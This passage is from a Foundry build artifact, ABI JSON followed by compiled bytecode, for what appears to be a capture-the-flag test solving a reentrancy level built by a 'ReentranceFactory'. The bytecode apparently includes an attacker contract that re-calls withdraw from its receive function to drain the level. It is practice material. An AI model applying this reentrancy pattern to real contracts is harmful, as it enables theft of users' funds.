StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615e3e806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b81565b62000814565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009de565b604051620001c7919062001bc4565b620001b3620001fa36600462001cb0565b62000a40565b6200020a62000c0b565b604051620001c7919062001d83565b620001da62000d53565b620001da62000db3565b6200023762000e13565b604051620001c7919062001e46565b620001da6200025736600462001f13565b62000f0d565b6200019a6200109d565b620002716200122c565b604051620001c7919062001f2b565b620001b36200029136600462001f91565b62001301565b6200023762001420565b620002b8620002b236600462001faf565b6200151a565b6040519015158152602001620001c7565b62000271620016aa565b6200019a6200177f565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001818565b620001da620018ec565b6200019a6200032f36600462001f13565b6200194c565b601e54620002b89060ff1681565b5f62000350600262000f0d565b9050805f8151811062000367576200036762001feb565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001feb565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001301565b60205f6101000a8154816001600160a01b0302191690836001600160a01b031602179055505f620006016040518060400160405280601181526020017f5265656e7472616e6365466163746f727900000000000000000000000000000081525062000a40565b6020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000661575f80fd5b505af115801562000674573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006d3575f80fd5b505af1158015620006e6573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000741575f80fd5b505af115801562000754573d5f803e3d5ffd5b50506020546200077992506001600160a01b031690508266038d7ea4c6800062000814565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007f9575f80fd5b505af11580156200080c573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000870575f80fd5b505af115801562000883573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008e3575f80fd5b505af1158015620008f6573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200095b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200098491908101906200208c565b905080600182516200099791906200221c565b81518110620009aa57620009aa62001feb565b60200260200101515f0151600281518110620009ca57620009ca62001feb565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a3657602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a17575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000aa0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ac9919081019062002232565b90505f81848560405160200162000ae292919062002284565b60408051601f198184030181529082905262000b02929160200162002332565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b6690859060040162002364565b5f60405180830381865afa15801562000b81573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000baa919081019062002232565b90505f62000bf76040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019c090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d4a575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d32578382905f5260205f2001805462000ca09062002378565b80601f016020809104026020016040519081016040528092919081815260200182805462000cce9062002378565b801562000d1d5780601f1062000cf35761010080835404028352916020019162000d1d565b820191905f5260205f20905b81548152906001019060200180831162000cff57829003601f168201915b50505050508152602001906001019062000c80565b50505050815250508152602001906001019062000c2e565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a3657602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a17575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a3657602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a17575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d4a575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ef457602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000ea05790505b5050505050815250508152602001906001019062000e36565b60605f8267ffffffffffffffff81111562000f2c5762000f2c62001c12565b60405190808252806020026020018201604052801562000f56578160200160208202803683370190505b5090505f5b8381101562001096575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000fa3573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fc99190620023b2565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001047575f80fd5b505af11580156200105a573d5f803e3d5ffd5b505050508083838151811062001074576200107462001feb565b6001600160a01b03909216602092830291909101909101525060010162000f5b565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010f4575f80fd5b505af115801562001107573d5f803e3d5ffd5b50506023546021546040515f94506001600160a01b03928316319350911690620011319062001b34565b6001600160a01b0390911681526020016040518091039082f09050801580156200115d573d5f803e3d5ffd5b509050806001600160a01b031663de6c6acd6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001199575f80fd5b505af1158015620011ac573d5f803e3d5ffd5b50505050806001600160a01b031663218d3fa86040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620011e9575f80fd5b505af1158015620011fc573d5f803e3d5ffd5b50506020546021546200122993506200122392506001600160a01b0391821691166200151a565b62001a62565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d4a578382905f5260205f200180546200126f9062002378565b80601f01602080910402602001604051908101604052809291908181526020018280546200129d9062002378565b8015620012ec5780601f10620012c257610100808354040283529160200191620012ec565b820191905f5260205f20905b815481529060010190602001808311620012ce57829003601f168201915b5050505050815260200190600101906200124f565b5f80604051620013119062001b42565b604051809103905ff0801580156200132b573d5f803e3d5ffd5b5090505f6040516200133d9062001b50565b604051809103905ff08015801562001357573d5f803e3d5ffd5b508483604051620013689062001b5e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013a2573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001401575f80fd5b505af115801562001414573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d4a575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200150157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014ad5790505b5050505050815250508152602001906001019062001443565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001576575f80fd5b505af115801562001589573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015e7575f80fd5b505af1158015620015fa573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200165e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200168791908101906200208c565b90506001815111156200169f576001915050620016a4565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d4a578382905f5260205f20018054620016ed9062002378565b80601f01602080910402602001604051908101604052809291908181526020018280546200171b9062002378565b80156200176a5780601f1062001740576101008083540402835291602001916200176a565b820191905f5260205f20905b8154815290600101906020018083116200174c57829003601f168201915b505050505081526020019060010190620016cd565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017d6575f80fd5b505af1158015620017e9573d5f803e3d5ffd5b50506020546021546200181693506200181092506001600160a01b0391821691166200151a565b62001ae1565b565b6008545f9060ff161562001830575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018bf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018e59190620023d0565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a3657602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a17575050505050905090565b5f620019598243620023e8565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007f9575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a179086908690600401620023fe565b5f60405180830381865afa15801562001a32573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a5b91908101906200242f565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001ac7575f80fd5b505afa15801562001ada573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001ab0565b61029a806200246683390190565b610ae5806200270083390190565b611e7a80620031e583390190565b610daa806200505f83390190565b6001600160a01b038116811462001229575f80fd5b5f805f6060848603121562001b94575f80fd5b833562001ba18162001b6c565b9250602084013562001bb38162001b6c565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c065783516001600160a01b03168352928401929184019160010162001bdf565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c4c5762001c4c62001c12565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c7e5762001c7e62001c12565b604052919050565b5f67ffffffffffffffff82111562001ca25762001ca262001c12565b50601f01601f191660200190565b5f6020828403121562001cc1575f80fd5b813567ffffffffffffffff81111562001cd8575f80fd5b8201601f8101841362001ce9575f80fd5b803562001d0062001cfa8262001c86565b62001c52565b81815285602083850101111562001d15575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d4e57818101518382015260200162001d34565b50505f910152565b5f815180845262001d6f81602086016020860162001d32565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e3757603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e2057605f1988850301835262001e0d84865162001d56565b948d01949350918c019160010162001dee565b505050968901969350509087019060010162001da8565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f0557888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001eef5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001eab565b5096890196945050509086019060010162001e6d565b509098975050505050505050565b5f6020828403121562001f24575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f8457603f1988860301845262001f7185835162001d56565b9450928501929085019060010162001f52565b5092979650505050505050565b5f6020828403121562001fa2575f80fd5b813562001a5b8162001b6c565b5f806040838503121562001fc1575f80fd5b823562001fce8162001b6c565b9150602083013562001fe08162001b6c565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200201b576200201b62001c12565b5060051b60200190565b5f6200203562001cfa8462001c86565b905082815283838301111562002049575f80fd5b62001a5b83602083018462001d32565b5f82601f83011262002069575f80fd5b62001a5b8383516020850162002025565b8051620020878162001b6c565b919050565b5f60208083850312156200209e575f80fd5b825167ffffffffffffffff80821115620020b6575f80fd5b818501915085601f830112620020ca575f80fd5b8151620020db62001cfa8262001fff565b81815260059190911b83018401908481019088831115620020fa575f80fd5b8585015b83811015620021fb5780518581111562002116575f80fd5b86016060818c03601f190112156200212c575f80fd5b6200213662001c26565b888201518781111562002147575f80fd5b8201603f81018d1362002158575f80fd5b898101516200216b62001cfa8262001fff565b81815260059190911b8201604001908b8101908f8311156200218b575f80fd5b6040840193505b82841015620021ad5783518252928c0192908c019062002192565b8452505050604082015187811115620021c4575f80fd5b620021d48d8b8386010162002059565b8a83015250620021e7606083016200207a565b6040820152845250918601918601620020fe565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016a457620016a462002208565b5f6020828403121562002243575f80fd5b815167ffffffffffffffff8111156200225a575f80fd5b8201601f810184136200226b575f80fd5b6200227c8482516020840162002025565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022bd81600585016020880162001d32565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022fc81600a84016020880162001d32565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200234581846020880162001d32565b8351908301906200235b81836020880162001d32565b01949350505050565b602081525f62001a5b602083018462001d56565b600181811c908216806200238d57607f821691505b602082108103620023ac57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023c3575f80fd5b815162001a5b8162001b6c565b5f60208284031215620023e1575f80fd5b5051919050565b80820180821115620016a457620016a462002208565b604081525f62002412604083018562001d56565b828103602084015262002426818562001d56565b95945050505050565b5f6020828403121562002440575f80fd5b815167ffffffffffffffff81111562002457575f80fd5b6200227c848285016200205956fe608060405260405161029a38038061029a83398101604081905261002291610046565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610073565b5f60208284031215610056575f80fd5b81516001600160a01b038116811461006c575f80fd5b9392505050565b61021a806100805f395ff3fe60806040526004361061002b575f3560e01c8063218d3fa814610097578063de6c6acd146100ab575f80fd5b36610093575f54604051632e1a7d4d60e01b81526001600482015273ffffffffffffffffffffffffffffffffffffffff90911690632e1a7d4d906024015f604051808303815f87803b15801561007f575f80fd5b505af1158015610091573d5f803e3d5ffd5b005b5f80fd5b3480156100a2575f80fd5b506100916100bf565b3480156100b6575f80fd5b50610091610127565b5f54604051632e1a7d4d60e01b815273ffffffffffffffffffffffffffffffffffffffff9091168031600483015290632e1a7d4d906024015b5f604051808303815f87803b15801561010f575f80fd5b505af1158015610121573d5f803e3d5ffd5b50505050565b5f546040517e362a9500000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9091169062362a95906001906024015f604051808303818588803b15801561018f575f80fd5b505af11580156101a1573d5f803e3d5ffd5b50505f54604051632e1a7d4d60e01b81526001600482015273ffffffffffffffffffffffffffffffffffffffff9091169350632e1a7d4d925060240190506100f856fea264697066735822122077936227858899eeca8313b24be07e4edd057cfbff1b9d79db2cedc02d353d2864736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f8610